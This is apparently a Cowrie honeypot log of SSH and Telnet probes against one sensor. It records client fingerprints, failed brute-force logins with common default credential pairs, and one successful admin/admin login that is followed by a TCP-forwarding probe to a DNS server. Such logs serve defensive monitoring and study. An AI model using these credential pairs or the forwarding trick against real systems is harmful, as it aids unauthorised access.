{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:26.953605Z","src_ip":"96.70.252.227","session":"c6f469244f51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"password01","message":"login attempt [sysadmin/password01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:27.126751Z","src_ip":"96.70.252.227","session":"c6f469244f51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":40038,"dst_ip":"159.203.135.109","dst_port":22,"session":"c13bda6d12f5","protocol":"ssh","message":"New connection: 40.81.244.142:40038 (159.203.135.109:22) [session: c13bda6d12f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:27.310463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:27.354304Z","src_ip":"40.81.244.142","session":"c13bda6d12f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:27.533497Z","src_ip":"40.81.244.142","session":"c13bda6d12f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing123","password":"testing123","message":"login attempt [testing123/testing123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:28.261597Z","src_ip":"40.81.244.142","session":"c13bda6d12f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:28.267346Z","src_ip":"96.70.252.227","session":"c6f469244f51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:58:29.447453Z","src_ip":"40.81.244.142","session":"c13bda6d12f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.69.56.44","src_port":52070,"dst_ip":"159.203.135.109","dst_port":22,"session":"19d4f2f9ad09","protocol":"ssh","message":"New connection: 58.69.56.44:52070 (159.203.135.109:22) [session: 19d4f2f9ad09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:00:30.894806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:00:30.899864Z","src_ip":"58.69.56.44","session":"19d4f2f9ad09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:00:31.123227Z","src_ip":"58.69.56.44","session":"19d4f2f9ad09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"hadoop123","message":"login attempt [ubuntu/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:00:32.089869Z","src_ip":"58.69.56.44","session":"19d4f2f9ad09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:00:33.323195Z","src_ip":"58.69.56.44","session":"19d4f2f9ad09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":56028,"dst_ip":"159.203.135.109","dst_port":22,"session":"02413586a639","protocol":"ssh","message":"New connection: 96.70.252.227:56028 (159.203.135.109:22) [session: 02413586a639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:01:20.041789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:01:20.059293Z","src_ip":"96.70.252.227","session":"02413586a639","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:01:20.086273Z","src_ip":"96.70.252.227","session":"02413586a639","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"passwd","message":"login attempt [git/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:01:20.263776Z","src_ip":"96.70.252.227","session":"02413586a639","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:01:21.341208Z","src_ip":"96.70.252.227","session":"02413586a639","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":34180,"dst_ip":"10.17.0.5","dst_port":22,"session":"eed30fa41975","protocol":"ssh","message":"New connection: 87.251.64.176:34180 (10.17.0.5:22) [session: eed30fa41975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:02:55.383386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:02:55.387209Z","src_ip":"87.251.64.176","session":"eed30fa41975","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:02:55.482847Z","src_ip":"87.251.64.176","session":"eed30fa41975","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:02:55.774739Z","src_ip":"87.251.64.176","session":"eed30fa41975","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:02:55.873287Z","session":"eed30fa41975","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:02:55.971790Z","src_ip":"87.251.64.176","session":"eed30fa41975","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:02:56.205498Z","src_ip":"87.251.64.176","session":"eed30fa41975","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":37210,"dst_ip":"159.203.135.109","dst_port":22,"session":"df0f7d810caa","protocol":"ssh","message":"New connection: 96.70.252.227:37210 (159.203.135.109:22) [session: df0f7d810caa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:04:11.975431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:04:11.983920Z","src_ip":"96.70.252.227","session":"df0f7d810caa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:04:12.020230Z","src_ip":"96.70.252.227","session":"df0f7d810caa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin555","message":"login attempt [root/admin555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:04:12.226811Z","src_ip":"96.70.252.227","session":"df0f7d810caa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:04:13.485781Z","src_ip":"96.70.252.227","session":"df0f7d810caa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.90.84.206","src_port":26546,"dst_ip":"159.203.135.109","dst_port":23,"session":"e94646694e5a","protocol":"telnet","message":"New connection: 87.90.84.206:26546 (159.203.135.109:23) [session: e94646694e5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:05:27.341594Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.90.84.206","src_port":27710,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e9f3ccd0b29","protocol":"telnet","message":"New connection: 87.90.84.206:27710 (159.203.135.109:23) [session: 0e9f3ccd0b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:05:35.942532Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.90.84.206","src_port":30460,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb5fd731d032","protocol":"telnet","message":"New connection: 87.90.84.206:30460 (159.203.135.109:23) [session: bb5fd731d032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:05:39.040127Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.127","src_port":40342,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c7f9a65d020","protocol":"ssh","message":"New connection: 101.36.124.127:40342 (159.203.135.109:22) [session: 8c7f9a65d020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:06:15.974728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:06:15.980136Z","src_ip":"101.36.124.127","session":"8c7f9a65d020","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:06:16.200570Z","src_ip":"101.36.124.127","session":"8c7f9a65d020","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ssluser","password":"123","message":"login attempt [ssluser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:06:17.106966Z","src_ip":"101.36.124.127","session":"8c7f9a65d020","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:06:18.329339Z","src_ip":"101.36.124.127","session":"8c7f9a65d020","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":63982,"dst_ip":"10.17.0.5","dst_port":22,"session":"742a84069248","protocol":"ssh","message":"New connection: 87.251.64.176:63982 (10.17.0.5:22) [session: 742a84069248]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:06:54.170338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:06:54.175552Z","src_ip":"87.251.64.176","session":"742a84069248","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:06:54.272069Z","src_ip":"87.251.64.176","session":"742a84069248","protocol":"ssh"}
